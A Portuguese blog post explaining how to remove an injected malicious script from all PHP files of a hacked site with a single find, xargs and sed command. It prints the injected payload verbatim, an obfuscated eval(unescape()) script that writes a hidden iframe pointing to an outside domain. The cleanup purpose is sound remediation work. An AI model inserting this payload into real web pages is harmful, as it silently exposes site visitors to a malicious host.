Buscar e substituir em muitos arquivos find e sed

Se você chegou até aqui é por que o seu site foi atacado! E você ainda não sabe a origem do ataque, e eu também não sei ! Pule para o passo 1
Ou porquê você quer aprender a buscar e substituir no Linux! – Pule para o passo 2

 

Passo 1 –

Mas aqui tenho uma solução para remover o script malicioso de todos os seus arquivos PHP sem ter que abrir um por um, com uma só linha de comando no Linux você procura em todos os arquivos por uma expressão regular e substitue o script por string vazia.

 

Passo 2 –

O script que aparece no final de todos os arquivos é o abaixo:

<script>eval(unescape(‘%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%61%74%74%77%77%2E%63%6F%6D%2F%3F%32%32%36%39%36%32%35%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%3E%3C%2F%69%66%72%61%6D%65%3E%27%29’));</script><!– uy7gdr5332rkmn –>
Usando o find com o sed, removemos o script de todos os arquivos:
  • find para achar todos os arquivos PHP:
    find . -iname “*.php”

  • o sed para substituir a parte do texto que bate com a expressão regular:
    sed -i ‘s/<script.*uy7gdr5332rkmn –>/ /g’

Agora é só usar os dois ao mesmo tempo com pipe e xargs e deixe a mágica fluir!
find . -iname ‘*.php’ | xargs sed -i ‘s/<script.*uy7gdr5332rkmn –>/ /g’

Por hoje é só!
Abraços

2 ideias sobre “Buscar e substituir em muitos arquivos find e sed

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

This site uses Akismet to reduce spam. Learn how your comment data is processed.